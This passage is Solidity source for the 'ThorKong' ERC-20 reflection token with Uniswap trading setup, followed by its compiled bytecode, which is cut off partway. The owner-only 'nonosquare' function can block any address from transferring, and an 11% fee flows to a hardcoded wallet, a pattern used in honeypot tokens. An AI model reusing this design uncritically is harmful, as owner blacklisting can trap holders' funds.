emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ThorKong is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "ThorKong";
string private constant _symbol = "ThorKong";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x20047d03cff59375B96B688Fbc54fEc1C11e0527);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 11;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 11;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 20000000 * 10**9;
_maxWalletSize = 30000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612711565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906127db565b6104b4565b60405161018e9190612836565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b99190612860565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906129c3565b6104e2565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612a0c565b61060c565b60405161021f9190612836565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612a5f565b6106e5565b005b34801561025d57600080fd5b506102666107d5565b6040516102739190612aa8565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612aef565b6107de565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612b1c565b610890565b005b3480156102da57600080fd5b506102e3610969565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612a5f565b6109db565b6040516103199190612860565b60405180910390f35b34801561032e57600080fd5b50610337610a2c565b005b34801561034557600080fd5b5061034e610b7f565b005b34801561035c57600080fd5b50610365610c34565b6040516103729190612b58565b60405180910390f35b34801561038757600080fd5b50610390610c5d565b60405161039d9190612711565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c891906127db565b610c9a565b6040516103da9190612836565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612b1c565b610cb8565b005b34801561041857600080fd5b50610421610d91565b005b34801561042f57600080fd5b50610438610e0b565b005b34801561044657600080fd5b50610461600480360381019061045c9190612b73565b611328565b60405161046e9190612860565b60405180910390f35b60606040518060400160405280600881526020017f54686f724b6f6e67000000000000000000000000000000000000000000000000815250905090565b60006104c86104c16113af565b84846113b7565b6001905092915050565b6000670de0b6b3a7640000905090565b6104ea6113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056e90612bff565b60405180910390fd5b60005b81518110156106085760016006600084848151811061059c5761059b612c1f565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061060090612c7d565b91505061057a565b5050565b6000610619848484611580565b6106da846106256113af565b6106d5856040518060600160405280602881526020016136b460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068b6113af565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0f9092919063ffffffff16565b6113b7565b600190509392505050565b6106ed6113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077190612bff565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e66113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610873576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086a90612bff565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108986113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610925576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091c90612bff565b60405180910390fd5b6000811161093257600080fd5b610960606461095283670de0b6b3a7640000611c7390919063ffffffff16565b611ced90919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109aa6113af565b73ffffffffffffffffffffffffffffffffffffffff16146109ca57600080fd5b60004790506109d881611d37565b50565b6000610a25600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611da3565b9050919050565b610a346113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab890612bff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b876113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0b90612bff565b60405180910390fd5b670de0b6b3a7640000600f81905550670de0b6b3a7640000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f54686f724b6f6e67000000000000000000000000000000000000000000000000815250905090565b6000610cae610ca76113af565b8484611580565b6001905092915050565b610cc06113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4490612bff565b60405180910390fd5b60008111610d5a57600080fd5b610d886064610d7a83670de0b6b3a7640000611c7390919063ffffffff16565b611ced90919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd26113af565b73ffffffffffffffffffffffffffffffffffffffff1614610df257600080fd5b6000610dfd306109db565b9050610e0881611e11565b50565b610e136113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9790612bff565b60405180910390fd5b600e60149054906101000a900460ff1615610ef0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee790612d11565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f7f30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a76400006113b7565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fca573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fee9190612d46565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611055573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110799190612d46565b6040518363ffffffff1660e01b8152600401611096929190612d73565b6020604051808303816000875af11580156110b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d99190612d46565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611162306109db565b60008061116d610c34565b426040518863ffffffff1660e01b815260040161118f96959493929190612de1565b60606040518083038185885af11580156111ad573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111d29190612e57565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff02191690831515021790555066470de4df820000600f81905550666a94d74f4300006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112e1929190612eaa565b6020604051808303816000875af1158015611300573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113249190612ee8565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611426576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141d90612f87565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611495576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148c90613019565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115739190612860565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e6906130ab565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361165e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116559061313d565b60405180910390fd5b600081116116a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611698906131cf565b60405180910390fd5b6000600a81905550600b80819055506116b8610c34565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561172657506116f6610c34565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611bff57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117cf5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6117d857600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118835750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118d95750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118f15750600e60179054906101000a900460ff165b15611a2f57600f5481111561193b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119329061323b565b60405180910390fd5b60105481611948846109db565b611952919061325b565b1115611993576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198a906132fd565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119de57600080fd5b601e426119eb919061325b565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611ada5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b305750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b45576000600a81905550600b80819055505b6000611b50306109db565b9050600e60159054906101000a900460ff16158015611bbd5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611bd55750600e60169054906101000a900460ff165b15611bfd57611be381611e11565b60004790506000811115611bfb57611bfa47611d37565b5b505b505b611c0a83838361208a565b505050565b6000838311158290611c57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4e9190612711565b60405180910390fd5b5060008385611c66919061331d565b9050809150509392505050565b6000808303611c855760009050611ce7565b60008284611c939190613351565b9050828482611ca291906133da565b14611ce2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd99061347d565b60405180910390fd5b809150505b92915050565b6000611d2f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061209a565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611d9f573d6000803e3d6000fd5b5050565b6000600854821115611dea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de19061350f565b60405180910390fd5b6000611df46120fd565b9050611e098184611ced90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e4957611e48612880565b5b604051908082528060200260200182016040528015611e775781602001602082028036833780820191505090505b5090503081600081518110611e8f57611e8e612c1f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f36573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f5a9190612d46565b81600181518110611f6e57611f6d612c1f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fd530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113b7565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120399594939291906135ed565b600060405180830381600087803b15801561205357600080fd5b505af1158015612067573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b612095838383612128565b505050565b600080831182906120e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d89190612711565b60405180910390fd5b50600083856120f091906133da565b9050809150509392505050565b600080600061210a6122f3565b915091506121218183611ced90919063ffffffff16565b9250505090565b60008060008060008061213a87612352565b95509550955095509550955061219886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123ba90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061222d85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061227981612462565b612283848361251f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122e09190612860565b60405180910390a3505050505050505050565b600080600060085490506000670de0b6b3a76400009050612327670de0b6b3a7640000600854611ced90919063ffffffff16565b82101561234557600854670de0b6b3a764000093509350505061234e565b81819350935050505b9091565b600080600080600080600080600061236f8a600a54600b54612559565b925092509250600061237f6120fd565b905060008060006123928e8787876125ef565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006123fc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c0f565b905092915050565b6000808284612413919061325b565b905083811015612458576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161244f90613693565b60405180910390fd5b8091505092915050565b600061246c6120fd565b905060006124838284611c7390919063ffffffff16565b90506124d781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612534826008546123ba90919063ffffffff16565b60088190555061254f8160095461240490919063ffffffff16565b6009819055505050565b6000806000806125856064612577888a611c7390919063ffffffff16565b611ced90919063ffffffff16565b905060006125af60646125a1888b611c7390919063ffffffff16565b611ced90919063ffffffff16565b905060006125d8826125ca858c6123ba90919063ffffffff16565b6123ba90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126088589611c7390919063ffffffff16565b9050600061261f8689611c7390919063ffffffff16565b905060006126368789611c7390919063ffffffff16565b9050600061265f8261265185876123ba90919063ffffffff16565b6123ba90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156126b2578082015181840152602081019050612697565b838111156126c1576000848401525b50505050565b6000601f19601f8301169050919050565b60006126e382612678565b6126ed8185612683565b93506126fd818560208601612694565b612706816126c7565b840191505092915050565b6000602082019050818103600083015261272b81846126d8565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061277282612747565b9050919050565b61278281612767565b811461278d57600080fd5b50565b60008135905061279f81612779565b92915050565b6000819050919050565b6127b8816127a5565b81146127c357600080fd5b50565b6000813590506127d5816127af565b92915050565b600080604083850312156127f2576127f161273d565b5b600061280085828601612790565b9250506020612811858286016127c6565b9150509250929050565b60008115159050919050565b6128308161281b565b82525050565b600060208201905061284b6000830184612827565b92915050565b61285a816127a5565b82525050565b60006020820190506128756000830184612851565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6128b8826126c7565b810181811067ffffffffffffffff821117156128d7576128d6612880565b5b80604052505050565b60006128ea612733565b90506128f682826128af565b919050565b600067ffffffffffffffff82111561291657612915612880565b5b602082029050602081019050919050565b600080fd5b600061293f61293a846128fb565b6128e0565b9050808382526020820190506020840283018581111561296257612961612927565b5b835b8181101561298b57806129778882612790565b845260208401935050602081019050612964565b5050509392505050565b600082601f8301126129aa576129a961287b565b5b81356129ba84826020860161292c565b91505092915050565b6000602082840312156129d9576129d861273d565b5b600082013567ffffffffffffffff8111156129f7576129f6612742565b5b612a0384828501612995565b91505092915050565b600080600060608486031215612a2557612a2461273d565b5b6000612a3386828701612790565b9350506020612a4486828701612790565b9250506040612a55868287016127c6565b9150509250925092565b600060208284031215612a7557612a7461273d565b5b6000612a8384828501612790565b91505092915050565b600060ff82169050919050565b612aa281612a8c565b82525050565b6000602082019050612abd6000830184612a99565b92915050565b612acc8161281b565b8114612ad757600080fd5b50565b600081359050612ae981612ac3565b92915050565b600060208284031215612b0557612b0461273d565b5b6000612b1384828501612ada565b91505092915050565b600060208284031215612b3257612b3161273d565b5b6000612b40848285016127c6565b91505092915050565b612b5281612767565b82525050565b6000602082019050612b6d6000830184612b49565b92915050565b60008060408385031215612b8a57612b8961273d565b5b6000612b9885828601612790565b9250506020612ba985828601612790565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612be9602083612683565b9150612bf482612bb3565b602082019050919050565b60006020820190508181036000830152612c1881612bdc565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c88826127a5565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612cba57612cb9612c4e565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612cfb601783612683565b9150612d0682612cc5565b602082019050919050565b60006020820190508181036000830152612d2a81612cee565b9050919050565b600081519050612d4081612779565b92915050565b600060208284031215612d5c57612d5b61273d565b5b6000612d6a84828501612d31565b91505092915050565b6